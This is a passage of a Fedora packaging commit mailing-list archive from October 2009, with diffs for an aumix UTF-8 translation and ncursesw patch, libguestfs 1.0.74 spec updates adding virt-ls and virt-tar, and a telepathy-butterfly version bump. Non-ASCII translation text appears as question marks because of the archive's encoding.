 
@@ -414,18 +414,18 @@
 msgid "n"
 msgstr ""
 
 #: src/gtk.c:251
 msgid "Mute All"
-msgstr "????????"
+msgstr "????????????"
 
 #: src/gtk.c:257
 msgid "File"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:261
 msgid "View"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:334
 msgid "Rec"
-msgstr "????"
+msgstr "??????"


Index: aumix.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aumix/devel/aumix.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- aumix.spec	24 Jul 2009 17:34:25 -0000	1.11
+++ aumix.spec	20 Oct 2009 14:43:08 -0000	1.12
@@ -1,6 +1,6 @@
 Name: aumix
 Version: 2.8
-Release: 20%{?dist}
+Release: 21%{?dist}
 Summary: Audio mixer based on ncurses
 License: GPLv2+
 Group: Applications/Multimedia
@@ -12,6 +12,7 @@ Patch2:  aumix-fix-cursor-color-on-exit.
 Patch3:  aumix-fix-crackrock.patch
 Patch4:  aumix-2.8-bug-115869.patch
 Patch5:  curses-cleanup.patch
+Patch6:  aumix-2.8-utf8.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: gettext ncurses-devel
 
@@ -26,6 +27,7 @@ An audio mixer with a compact visual lay
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
 
 %build
 %configure
@@ -50,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/aumix
 
 %changelog
+* Wed Oct 14 2009 Gabriel L. Somlo <somlo at cmu.edu> - 2.8-21
+- convert language files and fix ncurses setup for utf-8, (bugzilla # 528279)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-20
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From somlo at fedoraproject.org  Tue Oct 20 14:43:08 2009
From: somlo at fedoraproject.org (Gabriel L. Somlo)
Date: Tue, 20 Oct 2009 14:43:08 +0000 (UTC)
Subject: rpms/aumix/F-12 aumix-2.8-utf8.patch,NONE,1.1 aumix.spec,1.11,1.12
Message-ID: <20091020144308.1557211C0081@cvs1.fedora.phx.redhat.com>

Author: somlo

Update of /cvs/pkgs/rpms/aumix/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23116/F-12

Modified Files:
	aumix.spec 
Added Files:
	aumix-2.8-utf8.patch 
Log Message:
converted language files to utf-8
linking against libncursesw to fix display of utf-8 characters


aumix-2.8-utf8.patch:
 configure    |    8 +-
 configure.in |    4 -
 po/de.po     |   42 +++++++-------
 po/el.po     |   74 +++++++++++++-------------
 po/es.po     |   38 ++++++-------
 po/fr.po     |   46 ++++++++--------
 po/gl.po     |   72 ++++++++++++-------------
 po/ja.po     |  166 +++++++++++++++++++++++++++++------------------------------
 po/nl.po     |    2 
 po/pl.po     |   62 +++++++++++-----------
 po/pt_BR.po  |   60 ++++++++++-----------
 po/ru.po     |  128 ++++++++++++++++++++++-----------------------
 po/sv.po     |   62 +++++++++++-----------
 po/uk.po     |  138 ++++++++++++++++++++++++-------------------------
 po/zh_CN.po  |  156 +++++++++++++++++++++++++++----------------------------
 15 files changed, 529 insertions(+), 529 deletions(-)

--- NEW FILE aumix-2.8-utf8.patch ---
diff -NarU5 aumix-2.8.orig/configure aumix-2.8/configure
--- aumix-2.8.orig/configure	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure	2009-10-20 10:27:55.000000000 -0400
@@ -3544,17 +3544,17 @@
   withval="$with_ncurses"
   echo "$as_me:$LINENO: result: Compiling without ncurses support" >&5
 echo "${ECHO_T}Compiling without ncurses support" >&6
 else
 
-    echo "$as_me:$LINENO: checking for initscr in -lncurses" >&5
-echo $ECHO_N "checking for initscr in -lncurses... $ECHO_C" >&6
+    echo "$as_me:$LINENO: checking for initscr in -lncursesw" >&5
+echo $ECHO_N "checking for initscr in -lncursesw... $ECHO_C" >&6
 if test "${ac_cv_lib_ncurses_initscr+set}" = set; then
   echo $ECHO_N "(cached) $ECHO_C" >&6
 else
   ac_check_lib_save_LIBS=$LIBS
-LIBS="-lncurses  $LIBS"
+LIBS="-lncursesw  $LIBS"
 cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
 cat confdefs.h >>conftest.$ac_ext
 cat >>conftest.$ac_ext <<_ACEOF
@@ -3615,11 +3615,11 @@
 else
   initscr=off
 fi
 
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
 
 cat >>confdefs.h <<\_ACEOF
 #define HAVE_LIBNCURSES 1
 _ACEOF
 
diff -NarU5 aumix-2.8.orig/configure.in aumix-2.8/configure.in
--- aumix-2.8.orig/configure.in	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure.in	2009-10-20 10:26:56.000000000 -0400
@@ -34,13 +34,13 @@
 dnl Additional configure options
 AC_ARG_WITH(ncurses,
    [  --without-ncurses       compile with no ncurses or mouse support],
   AC_MSG_RESULT([Compiling without ncurses support]),[
   dnl Checks for ncurses library.
-  AC_CHECK_LIB(ncurses, initscr, initscr=on, initscr=off)
+  AC_CHECK_LIB(ncursesw, initscr, initscr=on, initscr=off)
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
     AC_DEFINE(HAVE_LIBNCURSES, 1,
       [Define this if you have the ncurses library and want to use it.])
   else
     AC_CHECK_LIB(curses, initscr, initscr=on, initscr=off)
     if test $initscr = on; then
diff -NarU5 aumix-2.8.orig/po/de.po aumix-2.8/po/de.po
--- aumix-2.8.orig/po/de.po	2002-11-24 20:36:21.000000000 -0500
+++ aumix-2.8/po/de.po	2009-10-20 10:05:54.000000000 -0400
@@ -9,25 +9,25 @@
 "Project-Id-Version: aumix 2.6\n"
 "POT-Creation-Date: 2002-11-25 01:36+0000\n"
 "Last-Translator: Dominik Stadler <Dominik.Stadler at gmx.at>\n"
 "Language-Team: German <de at li.org>\n"
 "MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: none\n"
 "POT-Revision-Date: 2000-07-13 11:13+0000\n"
 
 #: src/common.c:76
 msgid "Volume  "
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/common.c:77
 msgid "Bass    "
-msgstr "B?sse"
+msgstr "B??sse"
 
 #: src/common.c:78
 msgid "Treble  "
-msgstr "H?hen"
+msgstr "H??hen"
 
 #: src/common.c:79
 msgid "Synth   "
 msgstr ""
 
@@ -115,23 +115,23 @@
 msgid "Monitor "
 msgstr ""
 
 #: src/common.c:263
 msgid "aumix:  error opening mixer"
-msgstr "aumix:  Fehler beim ?ffnen des Mixers"
+msgstr "aumix:  Fehler beim ??ffnen des Mixers"
 
 #: src/common.c:263
 msgid "aumix:  no device found"
-msgstr "aumix:  Audioger?t nicht gefunden"
+msgstr "aumix:  Audioger??t nicht gefunden"
 
 #: src/common.c:263
 msgid "aumix:  mixer not open"
-msgstr "aumix:  Mixer nicht ge?ffnet"
+msgstr "aumix:  Mixer nicht ge??ffnet"
 
 #: src/common.c:263
 msgid "aumix:  unable to open settings file"
-msgstr "aumix:  Einstellungen konnten nicht ge?ffnet werden"
+msgstr "aumix:  Einstellungen konnten nicht ge??ffnet werden"
 
 #: src/common.c:271
 #, c-format
 msgid "aumix:  unknown error %i"
 msgstr "aumix:  Unbekannter Fehler %i"
@@ -188,15 +188,15 @@
 "  c:  CD\n"
 "\n"
 "other options:\n"
 msgstr ""
 "Kanaloptionen:\n"
-"  v:  Gesamtlautst?rke      x:  Mixmonitor\n"
-"  b:  B?sse                 W:  PCM 2\n"
-"  t:  H?hen                 r:  Aufnahme\n"
-"  s:  Synthesizer           i:  Aufnahmeverst?rkung\n"
-"  w:  PCM                   o:  Ausgabeverst?rkung\n"
+"  v:  Gesamtlautst??rke      x:  Mixmonitor\n"
+"  b:  B??sse                 W:  PCM 2\n"
+"  t:  H??hen                 r:  Aufnahme\n"
+"  s:  Synthesizer           i:  Aufnahmeverst??rkung\n"
+"  w:  PCM                   o:  Ausgabeverst??rkung\n"
 "  p:  PC-Lautsprecher       1:  Line 1\n"
 "  l:  Line                  2:  Line 2\n"
 "  m:  Mikrofon              3:  Line 3\n"
 "  c:  CD\n"
 "\n"
@@ -211,29 +211,29 @@
 "  d:  adjust a device besides /dev/mixer\n"
 "  f:  specify file for saving and loading settings (defaults to\n"
 "      ~/.aumixrc or /etc/aumixrc)\n"
 "  h:  this helpful message\n"
 msgstr ""
-"  d:  Anderes Ger?t als /dev/mixer benutzen\n"
+"  d:  Anderes Ger??t als /dev/mixer benutzen\n"
 "  f:  Spezifizieren Sie die Datei zum Speichern und Laden von Einstellungen\n"
 "      (Standard sind ~/.aumixrc oder /etc/aumixrc)\n"
-"  h:  Diese n?tzlichen Informationen\n"
+"  h:  Diese n??tzlichen Informationen\n"
 
 #: src/common.c:707
 msgid "  I:  start in interactive mode after doing non-interactive functions\n"
 msgstr ""
-"  I:  Start im interaktiven Modus nach Ausf?hren nicht-interaktiver "
+"  I:  Start im interaktiven Modus nach Ausf??hren nicht-interaktiver "
 "Funktionen\n"
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
 "  L:  Einstellungen laden\n"
-"  q:  Alle Kan?le abfragen und Einstellungen ausgeben\n"
+"  q:  Alle Kan??le abfragen und Einstellungen ausgeben\n"
 "  S:  Einstellungen speichern\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
 msgstr "Beenden  "
@@ -258,19 +258,19 @@
 msgid "Only"
 msgstr "Alleine  "
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "R?ckg?ngig"
+msgstr "R??ckg??ngig"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -310,11 +310,11 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
[...3246 lines suppressed...]
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
-"  L??????????\n"
-"  q????????????????????????\n"
-"  S??????????\n"
+"  L???????????????\n"
+"  q????????????????????????????????????\n"
+"  S???????????????\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:38 src/gtk.c:191
 msgid "Load"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:39 src/gtk.c:191
 msgid "Save"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:40
 msgid "Keys"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:41 src/gtk.c:265
 msgid "Mute"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:42
 msgid "Only"
-msgstr "??"
+msgstr "???"
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -274,31 +274,31 @@
 msgid "L"
 msgstr "L"
 
 #: src/curses.c:117 src/gtk.c:193 src/gtk.c:237 src/gtk.c:340
 msgid "Balance"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:118 src/gtk.c:362
 msgid "R"
 msgstr "R"
 
 #: src/curses.c:164
 msgid "page arrows\n"
-msgstr "??????\n"
+msgstr "?????????\n"
 
 #: src/curses.c:165
 msgid "tab enter < > , .\n"
 msgstr "tab enter < > , .\n"
 
 #: src/curses.c:166
 msgid "+ - [ ] arrows digits\n"
-msgstr "+ - [ ] ???? ????\n"
+msgstr "+ - [ ] ?????? ??????\n"
 
 #: src/curses.c:167
 msgid "space\n"
-msgstr "????\n"
+msgstr "??????\n"
 
 #: src/curses.c:168
 msgid "|\n"
 msgstr "|\n"
 
@@ -306,51 +306,51 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
 "\n"
-"????????????????????????"
+"????????????????????????????????????"
 
 #: src/curses.c:171
 msgid "Key                       Function\n"
-msgstr "??                        ????\n"
+msgstr "???                        ??????\n"
 
 #: src/curses.c:172
 msgid "------------------------- --------------------"
 msgstr "------------------------- --------------------"
 
 #: src/curses.c:173
 msgid "change channel\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:174
 msgid "toggle level/balance\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:175
 msgid "adjust slider\n"
-msgstr "??????????\n"
+msgstr "???????????????\n"
 
 #: src/curses.c:176
 msgid "toggle record/play\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:177
 msgid "center balance\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:196
 msgid "     "
 msgstr "     "
 
 #: src/curses.c:199
 msgid "muted"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/curses.c:202
 msgid "only "
-msgstr "?? "
+msgstr "??? "
 
 #: src/interactive.c:399
 msgid "k"
 msgstr "k"
 
@@ -378,15 +378,15 @@
 msgid "u"
 msgstr "u"
 
 #: src/gtk.c:191
 msgid "Load From"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:191
 msgid "Save To"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:192
 msgid "f"
 msgstr "f"
 
@@ -414,18 +414,18 @@
 msgid "n"
 msgstr ""
 
 #: src/gtk.c:251
 msgid "Mute All"
-msgstr "????????"
+msgstr "????????????"
 
 #: src/gtk.c:257
 msgid "File"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:261
 msgid "View"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:334
 msgid "Rec"
-msgstr "????"
+msgstr "??????"


Index: aumix.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aumix/F-12/aumix.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- aumix.spec	24 Jul 2009 17:34:25 -0000	1.11
+++ aumix.spec	20 Oct 2009 14:43:07 -0000	1.12
@@ -1,6 +1,6 @@
 Name: aumix
 Version: 2.8
-Release: 20%{?dist}
+Release: 21%{?dist}
 Summary: Audio mixer based on ncurses
 License: GPLv2+
 Group: Applications/Multimedia
@@ -12,6 +12,7 @@ Patch2:  aumix-fix-cursor-color-on-exit.
 Patch3:  aumix-fix-crackrock.patch
 Patch4:  aumix-2.8-bug-115869.patch
 Patch5:  curses-cleanup.patch
+Patch6:  aumix-2.8-utf8.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: gettext ncurses-devel
 
@@ -26,6 +27,7 @@ An audio mixer with a compact visual lay
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
 
 %build
 %configure
@@ -50,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/aumix
 
 %changelog
+* Wed Oct 14 2009 Gabriel L. Somlo <somlo at cmu.edu> - 2.8-21
+- convert language files and fix ncurses setup for utf-8, (bugzilla # 528279)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-20
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:06 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144506.EA01610F892@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From rjones at fedoraproject.org  Tue Oct 20 14:50:12 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 20 Oct 2009 14:50:12 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 .cvsignore, 1.33, 1.34 libguestfs.spec, 1.71, 
	1.72 sources, 1.33, 1.34
Message-ID: <20091020145012.E7A6B11C02A4@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26122

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
- New upstream release 1.0.74.
- New API call: guestfs_find0.
- New tools: virt-ls, virt-tar (not enabled in this release).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/.cvsignore,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- .cvsignore	14 Oct 2009 14:55:52 -0000	1.33
+++ .cvsignore	20 Oct 2009 14:50:12 -0000	1.34
@@ -1 +1 @@
-libguestfs-1.0.73.tar.gz
+libguestfs-1.0.74.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- libguestfs.spec	14 Oct 2009 15:07:41 -0000	1.71
+++ libguestfs.spec	20 Oct 2009 14:50:12 -0000	1.72
@@ -4,8 +4,8 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.73
-Release:     2%{?dist}
+Version:     1.0.74
+Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -206,9 +206,13 @@ scripts.
 # whether the virtual machine is fully virtualized (FV) or
 # para-virtualized (PV), what applications are installed and more.
 
+# Virt-ls is a command line tool to list out files in a virtual machine.
+
 # Virt-rescue provides a rescue shell for making interactive,
 # unstructured fixes to virtual machines.
 
+# Virt-tar is an archive, backup and upload tool for virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -475,8 +479,12 @@ rm -rf $RPM_BUILD_ROOT
 # %{_mandir}/man1/virt-edit.1*
 # %{_bindir}/virt-inspector
 # %{_mandir}/man1/virt-inspector.1*
+# %{_bindir}/virt-ls
+# %{_mandir}/man1/virt-ls.1*
 # %{_bindir}/virt-rescue
 # %{_mandir}/man1/virt-rescue.1*
+# %{_bindir}/virt-tar
+# %{_mandir}/man1/virt-tar.1*
 
 
 %files -n ocaml-%{name}
@@ -544,6 +552,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
+- New upstream release 1.0.74.
+- New API call: guestfs_find0.
+- New tools: virt-ls, virt-tar (not enabled in this release).
+
 * Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-2
 - New upstream release 1.0.73.
 - OCaml library now depends on xml-light.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	14 Oct 2009 14:55:52 -0000	1.33
+++ sources	20 Oct 2009 14:50:12 -0000	1.34
@@ -1 +1 @@
-749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz
+669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz



From rjones at fedoraproject.org  Tue Oct 20 14:50:24 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 20 Oct 2009 14:50:24 +0000 (UTC)
Subject: rpms/libguestfs/F-12 .cvsignore, 1.52, 1.53 libguestfs.spec, 1.104, 
	1.105 sources, 1.52, 1.53
Message-ID: <20091020145024.4209011C02A4@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26048

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
- New upstream release 1.0.74.
- New API call: guestfs_find0.
- New tools: virt-ls, virt-tar.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/.cvsignore,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- .cvsignore	14 Oct 2009 14:54:45 -0000	1.52
+++ .cvsignore	20 Oct 2009 14:50:23 -0000	1.53
@@ -1 +1 @@
-libguestfs-1.0.73.tar.gz
+libguestfs-1.0.74.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/libguestfs.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- libguestfs.spec	14 Oct 2009 14:54:45 -0000	1.104
+++ libguestfs.spec	20 Oct 2009 14:50:23 -0000	1.105
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.73
+Version:     1.0.74
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -187,9 +187,13 @@ version of the OS, the kernel version, w
 whether the virtual machine is fully virtualized (FV) or
 para-virtualized (PV), what applications are installed and more.
 
+Virt-ls is a command line tool to list out files in a virtual machine.
+
 Virt-rescue provides a rescue shell for making interactive,
 unstructured fixes to virtual machines.
 
+Virt-tar is an archive, backup and upload tool for virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -473,8 +477,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/virt-edit.1*
 %{_bindir}/virt-inspector
 %{_mandir}/man1/virt-inspector.1*
+%{_bindir}/virt-ls
+%{_mandir}/man1/virt-ls.1*
 %{_bindir}/virt-rescue
 %{_mandir}/man1/virt-rescue.1*
+%{_bindir}/virt-tar
+%{_mandir}/man1/virt-tar.1*
 
 
 %files -n ocaml-%{name}
@@ -542,6 +550,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
+- New upstream release 1.0.74.
+- New API call: guestfs_find0.
+- New tools: virt-ls, virt-tar.
+
 * Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
 - New upstream release 1.0.73.
 - OCaml library now depends on xml-light.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/sources,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- sources	14 Oct 2009 14:54:45 -0000	1.52
+++ sources	20 Oct 2009 14:50:24 -0000	1.53
@@ -1 +1 @@
-749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz
+669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz



From rjones at fedoraproject.org  Tue Oct 20 14:50:27 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Tue, 20 Oct 2009 14:50:27 +0000 (UTC)
Subject: rpms/libguestfs/devel .cvsignore, 1.52, 1.53 libguestfs.spec, 1.104,
	1.105 sources, 1.52, 1.53
Message-ID: <20091020145027.DA60E11C02A4@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26183

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
- New upstream release 1.0.74.
- New API call: guestfs_find0.
- New tools: virt-ls, virt-tar.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/.cvsignore,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- .cvsignore	14 Oct 2009 14:54:45 -0000	1.52
+++ .cvsignore	20 Oct 2009 14:50:27 -0000	1.53
@@ -1 +1 @@
-libguestfs-1.0.73.tar.gz
+libguestfs-1.0.74.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/libguestfs.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- libguestfs.spec	14 Oct 2009 14:54:45 -0000	1.104
+++ libguestfs.spec	20 Oct 2009 14:50:27 -0000	1.105
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.73
+Version:     1.0.74
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -187,9 +187,13 @@ version of the OS, the kernel version, w
 whether the virtual machine is fully virtualized (FV) or
 para-virtualized (PV), what applications are installed and more.
 
+Virt-ls is a command line tool to list out files in a virtual machine.
+
 Virt-rescue provides a rescue shell for making interactive,
 unstructured fixes to virtual machines.
 
+Virt-tar is an archive, backup and upload tool for virtual machines.
+
 
 %package -n ocaml-%{name}
 Summary:     OCaml bindings for %{name}
@@ -473,8 +477,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/virt-edit.1*
 %{_bindir}/virt-inspector
 %{_mandir}/man1/virt-inspector.1*
+%{_bindir}/virt-ls
+%{_mandir}/man1/virt-ls.1*
 %{_bindir}/virt-rescue
 %{_mandir}/man1/virt-rescue.1*
+%{_bindir}/virt-tar
+%{_mandir}/man1/virt-tar.1*
 
 
 %files -n ocaml-%{name}
@@ -542,6 +550,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.74-1
+- New upstream release 1.0.74.
+- New API call: guestfs_find0.
+- New tools: virt-ls, virt-tar.
+
 * Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
 - New upstream release 1.0.73.
 - OCaml library now depends on xml-light.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/sources,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- sources	14 Oct 2009 14:54:45 -0000	1.52
+++ sources	20 Oct 2009 14:50:27 -0000	1.53
@@ -1 +1 @@
-749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz
+669f27a4590298feb0ea6749499b02e1  libguestfs-1.0.74.tar.gz



From bpepple at fedoraproject.org  Tue Oct 20 14:51:10 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Tue, 20 Oct 2009 14:51:10 +0000 (UTC)
Subject: rpms/telepathy-butterfly/devel .cvsignore, 1.12, 1.13 sources, 1.12,
	1.13 telepathy-butterfly.spec, 1.18, 1.19
Message-ID: <20091020145110.7867111C0081@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-butterfly/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26649

Modified Files:
	.cvsignore sources telepathy-butterfly.spec 
Log Message:
* Tue Oct 20 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.2-1
- Update to 0.5.2.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	14 Sep 2009 23:32:02 -0000	1.12
+++ .cvsignore	20 Oct 2009 14:51:10 -0000	1.13
@@ -1 +1 @@
-telepathy-butterfly-0.5.1.tar.gz
+telepathy-butterfly-0.5.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	14 Sep 2009 23:32:04 -0000	1.12
+++ sources	20 Oct 2009 14:51:10 -0000	1.13
@@ -1 +1 @@
-80adcd8acb9564f25b865d92914d62d4  telepathy-butterfly-0.5.1.tar.gz
+41dc88d54e293756ab9d9315cf3d430c  telepathy-butterfly-0.5.2.tar.gz


Index: telepathy-butterfly.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-butterfly/devel/telepathy-butterfly.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- telepathy-butterfly.spec	14 Sep 2009 23:32:04 -0000	1.18
+++ telepathy-butterfly.spec	20 Oct 2009 14:51:10 -0000	1.19
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           telepathy-butterfly
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        MSN connection manager for Telepathy
 
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 20 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.2-1
+- Update to 0.5.2.
+
 * Mon Sep 14 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.5.1-1
 - Update to 0.5.1.
 



From pkgdb at fedoraproject.org  Tue Oct 20 14:52:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
